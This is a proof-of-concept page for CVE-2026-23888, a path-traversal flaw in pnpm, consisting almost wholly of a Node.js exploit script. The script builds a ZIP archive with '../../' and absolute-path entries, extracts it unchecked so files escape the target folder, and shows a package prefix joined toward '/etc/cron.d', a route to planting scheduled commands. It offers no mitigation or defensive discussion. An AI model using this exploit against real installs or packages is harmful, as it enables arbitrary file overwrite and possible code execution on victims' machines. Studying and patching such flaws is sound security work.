CVE-2026-23888: pnpm路径遍历漏洞允许覆盖任意文件

#!/usr/bin/env node // CVE-2026-23888 PoC - Malicious package with path traversal const fs = require('fs'); const path = require('path'); const AdmZip = require('adm-zip'); // Create malicious ZIP with path traversal entries function createMaliciousZip() { const zip = new AdmZip(); // Attack vector 1: Path traversal via ZIP entries // This writes outside target directory zip.addLocalFile(__filename, '', '../../malicious_file.js'); // Attack vector 2: Absolute path injection zip.addFile('/tmp/pnpm_escape', Buffer.from('malicious content'), 'Absolute path attack'); zip.writeZip('./malicious-package.zip'); console.log('[+] Malicious ZIP created: malicious-package.zip'); } // Simulate vulnerable binary extraction function simulateVulnerableExtraction(zipPath, targetDir) { console.log(`[*] Extracting to: ${targetDir}`); const zip = new AdmZip(zipPath); // VULNERABLE: No path validation before extraction zip.extractAllTo(targetDir, true); console.log('[+] Extraction completed (vulnerable behavior)'); // Check for escaped files const escapedPath = path.join(targetDir, '..', '..', 'malicious_file.js'); if (fs.existsSync(escapedPath)) { console.log(`[!] Path traversal successful! File written to: ${escapedPath}`); } } // Simulate vulnerable BinaryResolution.prefix usage function simulateVulnerablePrefix(prefix, targetDir) { console.log(`[*] Using BinaryResolution.prefix: ${prefix}`); // VULNERABLE: Direct concatenation without validation const extractionPath = path.join(targetDir, prefix, 'bin'); console.log(`[*] Extraction path: ${extractionPath}`); // This could write files outside targetDir return extractionPath; } // Main execution if (require.main === module) { console.log('=== CVE-2026-23888 PoC Demo ===\n'); createMaliciousZip(); console.log('\n--- Testing vulnerable extraction ---'); simulateVulnerableExtraction('./malicious-package.zip', '/tmp/pnpm-test'); console.log('\n--- Testing vulnerable prefix ---'); simulateVulnerablePrefix('../../../etc/cron.d', '/tmp/pnpm-test'); } module.exports = { createMaliciousZip, simulateVulnerableExtraction, simulateVulnerablePrefix };